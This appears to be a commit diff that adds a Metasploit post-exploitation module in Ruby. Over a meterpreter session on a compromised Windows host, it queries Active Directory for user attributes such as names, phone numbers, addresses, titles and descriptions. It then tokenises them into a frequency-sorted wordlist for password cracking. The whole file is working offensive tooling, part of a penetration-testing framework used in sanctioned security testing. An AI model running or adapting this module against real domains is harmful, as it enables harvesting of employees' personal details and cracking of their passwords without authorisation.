|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'rex' |
| 7 | +require 'msf/core' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Post |
| 10 | + |
| 11 | +include Msf::Auxiliary::Report |
| 12 | +include Msf::Post::Windows::LDAP |
| 13 | + |
| 14 | +def initialize(info={}) |
| 15 | + super( update_info( info, |
| 16 | + 'Name' => 'Windows Gather Words from Active Directory', |
| 17 | + 'Description'=> %Q{ |
| 18 | + This module will enumerate all user accounts in the default Active Domain (AD) directory and use |
| 19 | + these as words to seed a wordlist.In cases (like description) where spaces may occur, some extra processing |
| 20 | + is done to generate multiple words in addition to one long one (up to 24 characters).Results are dumped into |
| 21 | + /tmp |
| 22 | + }, |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Author' => [ 'Thomas Ring' ], |
| 25 | + 'Platform' => [ 'win' ], |
| 26 | + 'SessionTypes' => [ 'meterpreter' ], |
| 27 | + )) |
| 28 | + |
| 29 | + register_options([ |
| 30 | + OptString.new('FIELDS', [true, 'Fields to retrieve.', 'sn,givenName,st,postalCode,physicalDeliveryOfficeName,telephoneNumber,mobile,facsimileTelephoneNumber,displayName,title,department,company, streetAddress,sAMAccountName,userAccountControl,comment,description']), |
| 31 | + OptString.new('FILTER', [true, 'Search filter.','(&(objectClass=organizationalPerson)(objectClass=user)(objectClass=person)(!(objectClass=computer)))']), |
| 32 | + ], self.class) |
| 33 | +end |
| 34 | + |
| 35 | +def run |
| 36 | + fields = datastore['FIELDS'].gsub(/\s+/,"").split(',') |
| 37 | + search_filter = datastore['FILTER'] |
| 38 | + max_search = datastore['MAX_SEARCH'] |
| 39 | + begin |
| 40 | + q = query(search_filter, max_search, fields) |
| 41 | + if q.nil? or q[:results].empty? |
| 42 | + return |
| 43 | + end |
| 44 | + rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e |
| 45 | + # Can't bind or in a network w/ limited accounts |
| 46 | + print_error(e.message) |
| 47 | + return |
| 48 | + end |
| 49 | + |
| 50 | + wordlist = Hash.new() |
| 51 | + q[:results].each do |result| |
| 52 | + result.each do |field| |
| 53 | + next if field.nil? |
| 54 | + next if field =~ /^\s*$/ or field == '-' or field == '' or field.length < 3 |
| 55 | + |
| 56 | + field.gsub!(/[\(\)\"]/, '') # clear up common punctuation in descriptions |
| 57 | + field.downcase! # clear up case |
| 58 | + add = 1 |
| 59 | + |
| 60 | + tmp = Array.new() |
| 61 | + if(field =~ /\s+/) |
| 62 | + tmp.push(field.split(/\s+/)) |
| 63 | + add=0 |
| 64 | + end |
| 65 | + field.gsub!(/\s+/, '') |
| 66 | + |
| 67 | + if(field =~ /-/) |
| 68 | + tmp.push(field.split(/-/)) |
| 69 | + tmp.push(field.gsub(/-/, '')) |
| 70 | + end |
| 71 | + field.gsub!(/-/, '') |
| 72 | + |
| 73 | + if(field =~ /,/) |
| 74 | + tmp.push(field.split(/,/)) |
| 75 | + add=0 |
| 76 | + end |
| 77 | + field.gsub!(/,/, '') |
| 78 | + |
| 79 | + if(field =~ /\+/) |
| 80 | + tmp.push(field.split(/\+/)) |
| 81 | + end |
| 82 | + field.gsub!(/\+/, '') |
| 83 | + |
| 84 | + if wordlist.has_key?(field) and field.length < 24 and add == 1 |
| 85 | + wordlist[field] = wordlist[field]+1 |
| 86 | + else |
| 87 | + wordlist[field] = 1 |
| 88 | + end |
| 89 | + |
| 90 | + if tmp.length > 0 |
| 91 | + tmp = tmp.flatten |
| 92 | + tmp.each do |r| |
| 93 | + next if r.length < 3 or r.length > 24 |
| 94 | + # sub fields can still have unwanted characters due to not chained if (ie, it has dashes and commas) |
| 95 | + r.gsub!(/s/, '') |
| 96 | + r.gsub!(/,/, '') |
| 97 | + r.gsub!(/-/, '') |
| 98 | + r.gsub!(/\+/, '') |
| 99 | + if wordlist.has_key?(r) and r.length < 24 |
| 100 | + wordlist[r] = wordlist[r]+1 |
| 101 | + else |
| 102 | + wordlist[r] = 1 |
| 103 | + end |
| 104 | + end |
| 105 | + end |
| 106 | + end # result.each |
| 107 | + end # q.each |
| 108 | + |
| 109 | + # build array of words to output sorted on frequency |
| 110 | + out = Array.new() |
| 111 | + s = wordlist.sort_by &:last |
| 112 | + s.each do |k, v| |
| 113 | + if(k.length > 3) |
| 114 | + out.push(k) |
| 115 | +# print_status("#{k} ==> #{v}") |
| 116 | + end |
| 117 | + end |
| 118 | + wordlist_file = Rex::Quickfile.new("wordlist") |
| 119 | + wordlist_file.write( out.flatten.uniq.join("\n") + "\n" ) |
| 120 | + print_status("Seeded the password database with #{out.length} words into #{wordlist_file.path}...") |
| 121 | + wordlist_file.close |
| 122 | + |
| 123 | + end |
| 124 | +end |
| 125 | + |
0 commit comments